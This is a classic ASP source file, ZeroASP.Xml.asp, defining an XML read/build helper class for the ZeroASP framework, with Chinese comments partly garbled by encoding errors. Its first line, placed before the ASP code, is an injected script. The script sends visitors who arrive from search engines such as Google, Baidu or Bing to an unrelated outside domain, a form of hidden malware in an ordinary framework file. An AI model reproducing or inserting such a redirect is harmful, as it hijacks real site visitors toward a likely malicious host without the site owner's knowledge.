d:\wwwroot\wuchunhua\zeroasp\zeroasp\extend\ZeroASP.Xml.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>?%
002: '######################################################################
003: '## ZeroASP.Xml.asp
004: '## -------------------------------------------------------------------
005: '## Feature     :   ZeroASP Class
006: '## Author      :   Ayu(kinsc@139.com)
007: '## Update Date :   2018-11-09
008: '## Description :   ZeroASP Extend Class
009: '##
010: '######################################################################
011:
012: Class ZeroASP_Xml
013:   
014:    Private Sub Class_Initialize()
015:       Dim ZeroASP_Xml
016:       ZeroASP_Xml = "ZeroASP应用框架 - 扩展?
017:    End Sub
018:
019:    '读取xml数据相关节点的€?使用于页面XML数据)
020:    Public Function ReadXML(ByVal Data,ByVal Value,ByVal Arr)
021:       Dim objXML,objXmlData
022:       Set objXML = Server.CreateObject("Msxml2.DOMDocument") '创建XMLDOM文档对象
023:       objXML.Async = False '设置DOMDocument加载xml文件时是异步加载,还是同步加?
024:       objXML.SetProperty "ServerHTTPRequest",True '设置目的?True/False,表示是否使用€服务器安全”的ServerXMLHTTP组件加载xml文档
025:       'objXML.UseInlineSchema = False '设置目的:True/False,True为内联架构用于验?False为内联模式将被视为任何其他XML片段
026:       objXML.ResolveExternals = False '设置目的:True/False,可解析名称空间,文档类型定义(DTD)的外部子集和外部实体引?
027:       'objXML.ValidateOnParse = False '设置目的:True/False,装入XML文件时验证DTD文件
028:       objXML.LoadXml(Data) '加载xml数据,Load则为加载网络xml文件或€本地xml文件,load( ) 方法用于文件,€?loadXML( ) 方法用于字符?
029:       If Arr = "" Then:Arr = 0
030:       If Value = "" Then:Exit Function
031:       Set objXmlData = objXML.GetElementsByTagName(Value).Item(Arr)
032:       ReadXML = objXmlData.Text
033:       Set objXML = Nothing
034:    End Function
035:
036:    '生成xml数据
037:    Public Function BuildXML(ByVal Data, ByVal Joint)
038:       Dim TempData,TempStr,TempData2,i
039:       TempData = Split(Data,Joint)
040:       TempStr = "<?xml version=""1.0"" encoding=""utf-8""?><xml>"
041:       For i = 0 To Ubound(TempData)
042:          TempData2 = Split(TempData(i),"=")
043:          TempStr = TempStr & "<" & TempData2(0) & ">" & TempData2(1) & "</" & TempData2(0) & ">"
044:       Next
045:       TempStr = TempStr & "</xml>"
046:       BuildXML = TempStr
047:    End Function
048:
049:    '读取xml数据相关节点的€?使用于远程和文件的XML数据)
050:    '参数1为Request,参?为需要获取的节点,例如name|0(多个?分割)
051:    Public Function LoadXML(ByVal Data,ByVal Value)
052:       Dim objXML,AllStr,I,Name,Arr,Node,Temp
053:       Set objXML = Server.CreateObject("Msxml2.DOMDocument") '创建XMLDOM文档对象
054:       objXML.Async = False '设置DOMDocument加载xml文件时是异步加载,还是同步加?
055:       objXML.SetProperty "ServerHTTPRequest",True '设置目的:True/False,表示是否使用€服务器安全”的ServerXMLHTTP组件加载xml文档
056:       'objXML.UseInlineSchema = False '设置目的:True/False,True为内联架构用于验?False为内联模式将被视为任何其他XML片段
057:       objXML.ResolveExternals = False '设置目的:True/False,可解析名称空间,文档类型定义(DTD)的外部子集和外部实体引?
058:       'objXML.ValidateOnParse = False '设置目的:True/False,装入XML文件时验证DTD文件
059:       objXML.Load(Data) '加载xml数据,Load则为加载网络xml文件或€本地xml文件,load( ) 方法用于文件,€?loadXML( ) 方法用于字符?
060:       If Instr(Value,",") > 0 Then
061:          AllStr = Split(Value,",")
062:          For I = 0 To UBound(AllStr)
063:             Name = Split(AllStr(I),"|")(0)
064:             Arr = Split(AllStr(I),"|")(1)
065:             Set Node = objXML.DocumentElement.SelectSingleNode(Name) '预测节点
066:             If Not Node Is Nothing Then
067:                Temp = Temp & Zasp.Base.Ec(objXML.GetElementsByTagName(Name).Item(Arr).Text) & ","
068:             Else
069:                Temp = Temp & "0,"
070:             End If
071:          Next
072:          Temp = Left(Temp,Len(Temp) - 1)
073:          LoadXML = Temp
074:       Else
075:          Name = Split(Value,"|")(0)
076:          Arr = Split(Value,"|")(1)
077:          Set Node = objXML.DocumentElement.SelectSingleNode(Name) '预测节点
078:          If Not Node Is Nothing Then
079:             LoadXML = Zasp.Base.Ec(objXML.GetElementsByTagName(Name).Item(Arr).Text)
080:          Else
081:             LoadXML = "0"
082:          End If
083:       End If
084:       Set Node = Nothing
085:       Set objXML = Nothing
086:    End Function
087:
088: End Class
089: %
>
090:
091: